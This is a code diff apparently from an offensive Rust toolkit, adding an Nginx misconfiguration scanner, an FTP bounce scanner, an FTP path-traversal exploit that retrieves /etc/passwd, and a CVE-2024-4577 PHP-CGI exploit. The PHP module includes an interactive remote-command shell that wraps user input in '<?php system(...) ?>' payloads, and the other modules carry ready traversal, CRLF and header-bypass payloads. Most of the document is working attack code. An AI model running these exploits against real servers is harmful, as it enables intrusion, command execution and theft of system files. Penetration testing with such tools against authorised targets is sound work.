async fn check_version(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
if let Ok(resp) = client.get(url).send().await {
|
||||
if let Some(server) = resp.headers().get("Server") {
|
||||
if let Ok(s) = server.to_str() {
|
||||
println!("[*] Server Header: {}", s.blue());
|
||||
if s.contains('/') && s.chars().any(|c| c.is_numeric()) {
|
||||
findings.push(format!("Version Disclosure: Server header reveals version '{}'. Check if outdated.", s));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_crlf(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let payload = "%0d%0aDetectify:%20crlf";
|
||||
let target = format!("{}/{}", url, payload);
|
||||
|
||||
if let Ok(resp) = client.get(&target).send().await {
|
||||
if resp.headers().contains_key("Detectify") {
|
||||
let msg = format!("CRLF Injection found! URI: {} reflects 'Detectify' header.", target);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_purge(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let target = format!("{}/test_purge", url);
|
||||
let method = match reqwest::Method::from_bytes(b"PURGE") {
|
||||
Ok(m) => m,
|
||||
Err(_) => return,
|
||||
};
|
||||
if let Ok(resp) = client.request(method, &target).send().await {
|
||||
if resp.status().as_u16() == 204 {
|
||||
let msg = format!("PURGE method is enabled on {}. This might allow cache poisoning/clearing.", target);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_variable_leak(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let target = format!("{}/foo$http_referer", url);
|
||||
let secret = "RUSTSPLOIT_SECRET_REF";
|
||||
|
||||
if let Ok(resp) = client.get(&target).header("Referer", secret).send().await {
|
||||
if let Ok(text) = resp.text().await {
|
||||
if text.contains(secret) {
|
||||
let msg = format!("Variable Leakage: '$http_referer' is reflected in response from {}", target);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_merge_slashes(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
// Check path traversal via merge_slashes bypass
|
||||
let payloads = vec![
|
||||
"///../../../../../etc/passwd",
|
||||
"//////../../../../../../etc/passwd",
|
||||
"///../../../../../win.ini",
|
||||
];
|
||||
|
||||
for p in payloads {
|
||||
let target = format!("{}{}", url, p);
|
||||
if let Ok(resp) = client.get(&target).send().await {
|
||||
if resp.status() == StatusCode::OK {
|
||||
let msg = format!("Possible Path Traversal via merge_slashes bypass: {}", target);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_headers_bypass(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let headers_list = vec![
|
||||
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP", "Client-IP", "X-Client-IP",
|
||||
"Proxy-Host", "X-Forwarded", "X-Forwarded-By", "X-Forwarded-Host", "Base-Url", "Http-Url"
|
||||
];
|
||||
let ips = vec!["127.0.0.1", "localhost", "192.168.1.1", "10.0.0.1"];
|
||||
|
||||
let baseline = client.get(format!("{}/", url)).send().await;
|
||||
let baseline_len = match baseline {
|
||||
Ok(ref r) => r.content_length().unwrap_or(0),
|
||||
Err(_) => return,
|
||||
};
|
||||
let baseline_status = match baseline {
|
||||
Ok(ref r) => r.status(),
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
for header in headers_list {
|
||||
for ip in &ips {
|
||||
if let Ok(resp) = client.get(format!("{}/", url)).header(header, *ip).send().await {
|
||||
let len = resp.content_length().unwrap_or(0);
|
||||
if resp.status() != baseline_status || (len as i64 - baseline_len as i64).abs() > 50 {
|
||||
let msg = format!("Response difference detected with header {}: {}. Possible IP restriction bypass.", header, ip);
|
||||
println!("{}", format!("[?] {}", msg).yellow());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_integer_overflow(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
if let Ok(resp) = client.get(url).send().await {
|
||||
let content_len = resp.content_length().unwrap_or(0);
|
||||
if content_len > 0 {
|
||||
let bytes_len = content_len + 623;
|
||||
let range_val = format!("bytes=-{},-9223372036854{}", bytes_len, 776000 - (bytes_len as i64));
|
||||
|
||||
if let Ok(vuln_resp) = client.get(url).header("Range", range_val).send().await {
|
||||
if vuln_resp.status() == StatusCode::PARTIAL_CONTENT || vuln_resp.headers().contains_key("Content-Range") {
|
||||
let msg = format!("Vulnerable to CVE-2017-7529 (Integer Overflow). Target: {}", url);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_alias_traversal(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
// "Off-by-slash" alias traversal
|
||||
// We try common static paths and paths often found in Nginx configs.
|
||||
let paths = vec![
|
||||
"static", "assets", "img", "images", "js", "css", "media", "uploads", "icons", "public",
|
||||
"conf", "backup", "db", "database", "admin", "private", "api", "download", "files"
|
||||
];
|
||||
|
||||
for path in paths {
|
||||
let traversal = format!("{}{}../", url, path);
|
||||
if let Ok(resp) = client.get(&traversal).send().await {
|
||||
if resp.status() == StatusCode::FORBIDDEN || resp.status() == StatusCode::OK {
|
||||
// Eliminate false positives by comparing with 404
|
||||
let garbage = format!("{}/garbage_{}", url, path);
|
||||
let r404 = client.get(&garbage).send().await;
|
||||
let r404_status = r404.map(|r| r.status()).unwrap_or(StatusCode::NOT_FOUND);
|
||||
|
||||
if resp.status() != r404_status {
|
||||
let msg = format!("Possible Alias Traversal key found at: {}. Status: {}", traversal, resp.status());
|
||||
println!("{}", format!("[?] {}", msg).yellow());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_raw_backend_reading(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
// Test for Raw Backend Reading via specific verb/header
|
||||
// Python script suggests: GET /? XTTP/1.1\nHost: 127.0.0.1\nConnection: close
|
||||
// We try to look for Nginx Status or Source Disclosure as a proxy for this class of misconfig coverage.
|
||||
|
||||
// Check for Nginx Status
|
||||
let status_paths = vec!["nginx_status", "stub_status", "status", "nginx-status"];
|
||||
for p in status_paths {
|
||||
if let Ok(resp) = client.get(format!("{}/{}", url, p)).send().await {
|
||||
if resp.status() == StatusCode::OK {
|
||||
if let Ok(text) = resp.text().await {
|
||||
if text.contains("Active connections") || text.contains("server accepts handled requests") {
|
||||
let msg = format!("Nginx Status information found at {}/{}", url, p);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if root reveals nginx.conf (Source Disclosure)
|
||||
if let Ok(resp) = client.get(format!("{}/", url)).send().await {
|
||||
if let Ok(text) = resp.text().await {
|
||||
if text.contains("worker_processes") && text.contains("http {") {
|
||||
let msg = format!("Root directory reveals nginx.conf content! Missing root directive?");
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_php(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let mut is_php = false;
|
||||
|
||||
// Check 1: /index.php
|
||||
if let Ok(resp) = client.get(format!("{}/index.php", url)).send().await {
|
||||
if resp.status() == StatusCode::OK {
|
||||
is_php = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Check 2: Cookies and Headers
|
||||
if let Ok(resp) = client.get(url).send().await {
|
||||
if resp.headers().iter().any(|(k, v)| k == "set-cookie" && v.to_str().unwrap_or("").contains("PHPSESSID")) {
|
||||
is_php = true;
|
||||
}
|
||||
if let Some(s) = resp.headers().get("Server") {
|
||||
if s.to_str().unwrap_or("").to_lowercase().contains("php") {
|
||||
is_php = true;
|
||||
}
|
||||
}
|
||||
if let Some(x) = resp.headers().get("X-Powered-By") {
|
||||
if x.to_str().unwrap_or("").to_lowercase().contains("php") {
|
||||
is_php = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if is_php {
|
||||
println!("{}", "[+] Target seems to be using PHP.".green());
|
||||
findings.push("Technology Detection: PHP detected.".to_string());
|
||||
println!("{}", "[?] If PHP is used, check for configuration errors: https://book.hacktricks.xyz/pentesting/pentesting-web/nginx#script_name".cyan());
|
||||
println!("{}", "[?] Also check CVE-2019-11043.".cyan());
|
||||
}
|
||||
}
|
||||
|
||||
async fn check_x_accel_redirect(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
// We can't access "existingfolderpathlist" from logic easily as arg,
|
||||
// so we use a common list of sensitive/likely protected paths to test bypass on.
|
||||
let sensitive_paths = vec![
|
||||
"admin", "private", "conf", "config", "backup", "db", "logs", "internal", "api", "console"
|
||||
];
|
||||
|
||||
println!("{}", "[?] Testing X-Accel-Redirect bypass on common paths...".cyan());
|
||||
|
||||
for path in sensitive_paths {
|
||||
let full_path = format!("{}/{}", url, path);
|
||||
if let Ok(resp) = client.get(&full_path).send().await {
|
||||
// If we get 401/403, we try to bypass
|
||||
if resp.status() == StatusCode::FORBIDDEN || resp.status() == StatusCode::UNAUTHORIZED {
|
||||
// Try X-Accel-Redirect
|
||||
let bypass_header = format!("/{}", path);
|
||||
let random_path = format!("{}/accel_bypass_test_rustsploit", url);
|
||||
|
||||
if let Ok(bypass) = client.get(&random_path).header("X-Accel-Redirect", bypass_header).send().await {
|
||||
if bypass.status() != resp.status() && bypass.status().as_u16() < 400 {
|
||||
let msg = format!("Possible X-Accel-Redirect bypass found! Path: {} returned {} directly, but {} with header.",
|
||||
path, resp.status(), bypass.status());
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
findings.push(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn print_manual_suggestions() {
|
||||
println!("\n{}", "[*] Manual Check Suggestions:".yellow().bold());
|
||||
println!("{}", "1. Raw Backend Reading: Test with 'GET /? XTTP/1.1\\nHost: 127.0.0.1\\nConnection: close'".cyan());
|
||||
println!("{}", "2. Redis: If site uses Redis, check for misconfigurations (see labs.detectify.com)".cyan());
|
||||
println!("{}", "3. CORS: Check for bad regexes with Corsy.".cyan());
|
||||
println!("{}", "4. Request Smuggling: Check for typical HTTP smuggling issues.".cyan());
|
||||
}
|
||||
|
||||
fn save_results(target: &str, findings: &[String]) -> Result<()> {
|
||||
// Sanitize target for filename
|
||||
let safe_target = target.replace("http://", "").replace("https://", "").replace("/", "_").replace(":", "_");
|
||||
let filename = format!("nginx_pwner_results_{}.txt", safe_target);
|
||||
|
||||
let mut file = File::create(&filename).context("Failed to create result file")?;
|
||||
|
||||
writeln!(file, "NginxPwner Scan Results for {}", target)?;
|
||||
writeln!(file, "Timestamp: {}", chrono::Local::now())?;
|
||||
writeln!(file, "----------------------------------------")?;
|
||||
|
||||
for f in findings {
|
||||
writeln!(file, "{}", f)?;
|
||||
}
|
||||
|
||||
println!("\n[+] Results saved to {}", filename.green());
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
|
||||
|
||||
/// PHP CGI Argument Injection (CVE-2024-4577)
|
||||
/// Exploit for PHP running on Windows via XAMPP or similar setups.
|
||||
///
|
||||
/// Credits:
|
||||
/// - Discovered by Orange Tsai
|
||||
/// - PoC logic based on watchTowr Labs
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Normalize target
|
||||
let url = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
let url = url.trim_end_matches('/');
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
// Prompt for check or exploit
|
||||
println!();
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" 1. Check vulnerability (safe)");
|
||||
println!(" 2. Execute command (RCE)");
|
||||
println!();
|
||||
|
||||
print!("{}", "Select option [1-2]: ".green());
|
||||
use std::io::Write;
|
||||
std::io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
std::io::stdin().read_line(&mut choice)?;
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
match choice.trim() {
|
||||
"1" => check_vuln(&client, url).await?,
|
||||
"2" => exploit(&client, url).await?,
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
|
||||
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Checking for vulnerability...".yellow());
|
||||
|
||||
// Simple echo check
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains("VULNERABLE_CVE_2024_4577") {
|
||||
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
|
||||
Ok(())
|
||||
} else {
|
||||
println!("{}", "[-] Target does not appear vulnerable.".red());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn exploit(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Entering RCE mode...".yellow());
|
||||
|
||||
loop {
|
||||
print!("{}", "php> ".green().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
std::io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
// We use system() to execute command
|
||||
let payload = format!("<?php system('{}'); die; ?>", cmd);
|
||||
|
||||
match client.post(&exploit_url).body(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await?;
|
||||
println!("{}", text);
|
||||
}
|
||||
Err(e) => println!("[-] Request failed: {}", e),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_4577;
|
||||
@@ -0,0 +1,267 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use suppaftp::Status;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::time::timeout;
|
||||
use regex::Regex;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_existing_file, prompt_default, prompt_int_range,
|
||||
load_lines
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 8;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 4000;
|
||||
|
||||
struct FtpCreds {
|
||||
ip: String,
|
||||
port: u16,
|
||||
user: String,
|
||||
pass: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
|
||||
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
|
||||
// Interactive Mode Check
|
||||
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
|
||||
println!("{}", "[*] Interactive Mode".cyan());
|
||||
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
|
||||
println!("[2] Scan single target");
|
||||
|
||||
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
|
||||
if choice == 1 {
|
||||
let f = prompt_existing_file("Path to credentials file")?;
|
||||
f
|
||||
} else {
|
||||
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
t
|
||||
}
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
// Check if target is a file or single target
|
||||
let targets = if std::path::Path::new(&effective_target).is_file() {
|
||||
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
|
||||
parse_ftp_results(&effective_target).await?
|
||||
} else {
|
||||
// Single target handling
|
||||
parse_single_target(&effective_target)?
|
||||
};
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets found."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_vuln = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let total = targets.len();
|
||||
|
||||
// Stats loop
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_vuln = stats_vuln.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(3)).await;
|
||||
let checked = s_checked.load(Ordering::Relaxed);
|
||||
let vuln = s_vuln.load(Ordering::Relaxed);
|
||||
println!(
|
||||
"[*] Progress: {}/{} checked, {} Vulnerable found",
|
||||
checked, total, vuln.to_string().red().bold()
|
||||
);
|
||||
if checked >= total { break; }
|
||||
}
|
||||
});
|
||||
|
||||
// Run Scans
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for target_creds in targets {
|
||||
// Safe permit acquisition
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Check if semaphore closed
|
||||
};
|
||||
let sc = stats_checked.clone();
|
||||
let sv = stats_vuln.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if check_bounce_vulnerability(&target_creds, &of).await {
|
||||
sv.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait all
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", "[*] Scan Completed.".green().bold());
|
||||
println!("[+] Results saved to {}", output_file.cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
|
||||
// Attempt parse as "IP:PORT:USER:PASS" (optional prefix scan)
|
||||
// Regex matches 4 groups separated by colons
|
||||
let re_full = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
if let Some(caps) = re_full.captures(raw) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
return Ok(vec![FtpCreds { ip, port, user, pass }]);
|
||||
}
|
||||
|
||||
// Fallback: Just IP or IP:PORT, assumes anonymous
|
||||
let (ip, port) = if raw.matches(':').count() == 1 {
|
||||
let parts: Vec<&str> = raw.split(':').collect();
|
||||
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
|
||||
(parts[0].to_string(), p_val)
|
||||
} else if !raw.contains(':') {
|
||||
(raw.to_string(), 21)
|
||||
} else {
|
||||
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
|
||||
(raw.to_string(), 21)
|
||||
};
|
||||
|
||||
// If it *looks* like an IP, return default creds
|
||||
if !ip.is_empty() {
|
||||
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
|
||||
}
|
||||
|
||||
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
|
||||
}
|
||||
|
||||
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
|
||||
let lines = load_lines(path)?;
|
||||
let mut creds = Vec::new();
|
||||
|
||||
// Standard Format: IP:PORT:USER:PASS, optionally prefixed with "[+] FOUND: "
|
||||
// We allow spaces around the prefix.
|
||||
let re_std = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
// Legacy/Old formats support (optional but good for transitions)
|
||||
// IP:PORT [ANONYMOUS...]
|
||||
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
|
||||
|
||||
for line in lines {
|
||||
if let Some(caps) = re_std.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
|
||||
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
|
||||
creds.push(FtpCreds { ip, port, user, pass });
|
||||
} else if let Some(caps) = re_anon_old.captures(&line) {
|
||||
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
|
||||
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
|
||||
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
|
||||
}
|
||||
}
|
||||
|
||||
Ok(creds)
|
||||
}
|
||||
|
||||
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
|
||||
let addr = format!("{}:{}", creds.ip, creds.port);
|
||||
|
||||
// Connect
|
||||
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(f)) => f,
|
||||
_ => return false,
|
||||
};
|
||||
|
||||
// Login
|
||||
if ftp.login(&creds.user, &creds.pass).await.is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set Checks
|
||||
let mut is_vuln = false;
|
||||
let mut ext_vuln = false;
|
||||
let mut int_vuln = false;
|
||||
|
||||
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
|
||||
// PORT command format: h1,h2,h3,h4,p1,p2
|
||||
let ext_test = "PORT 8,8,8,8,0,53";
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
|
||||
Ok(Ok(resp)) => {
|
||||
// Check for 200 OK
|
||||
if (resp.status as u32) == 200 {
|
||||
ext_vuln = true;
|
||||
is_vuln = true;
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Test 2: Internal Bounce (Common Gateways)
|
||||
// 192.168.1.1:80 => 192,168,1,1,0,80
|
||||
// 10.0.0.1:80 => 10,0,0,1,0,80
|
||||
// We try a few. If ANY work, we flag it.
|
||||
let int_tests = vec![
|
||||
"PORT 192,168,1,1,0,80",
|
||||
"PORT 10,0,0,1,0,80",
|
||||
"PORT 172,16,0,1,0,80",
|
||||
"PORT 127,0,0,1,0,22" // Bounce to self?
|
||||
];
|
||||
|
||||
for cmd in int_tests {
|
||||
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
|
||||
.ok()
|
||||
.and_then(|r| r.ok())
|
||||
.map(|r| (r.status as u32) == 200)
|
||||
.unwrap_or(false)
|
||||
{
|
||||
int_vuln = true;
|
||||
is_vuln = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let _ = ftp.quit().await;
|
||||
|
||||
if is_vuln {
|
||||
let msg = format!(
|
||||
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
|
||||
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
|
||||
);
|
||||
println!("\r[+] Found: {}", msg);
|
||||
|
||||
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
|
||||
addr, creds.user, creds.pass,
|
||||
if ext_vuln { "YES" } else { "NO" },
|
||||
if int_vuln { "YES" } else { "NO" });
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
|
||||
let _ = file.write_all(file_log.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
is_vuln
|
||||
}
|
||||
@@ -1 +1,2 @@
|
||||
pub mod pachev_ftp_path_traversal_1_0;
|
||||
pub mod ftp_bounce_test;
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -11,6 +10,7 @@ use colored::*; // // Colorful output
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
|
||||
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
|
||||
@@ -35,12 +35,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
@@ -48,15 +44,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
|
||||
std::io::copy(reader, &mut file)
|
||||
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
format!("Failed to write file: {}", e)
|
||||
)))?;
|
||||
Ok(())
|
||||
})
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
@@ -81,9 +81,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
std::io::stdin()
|
||||
.read_line(&mut port_input)
|
||||
.context("Failed to read port")?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
@@ -92,16 +96,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
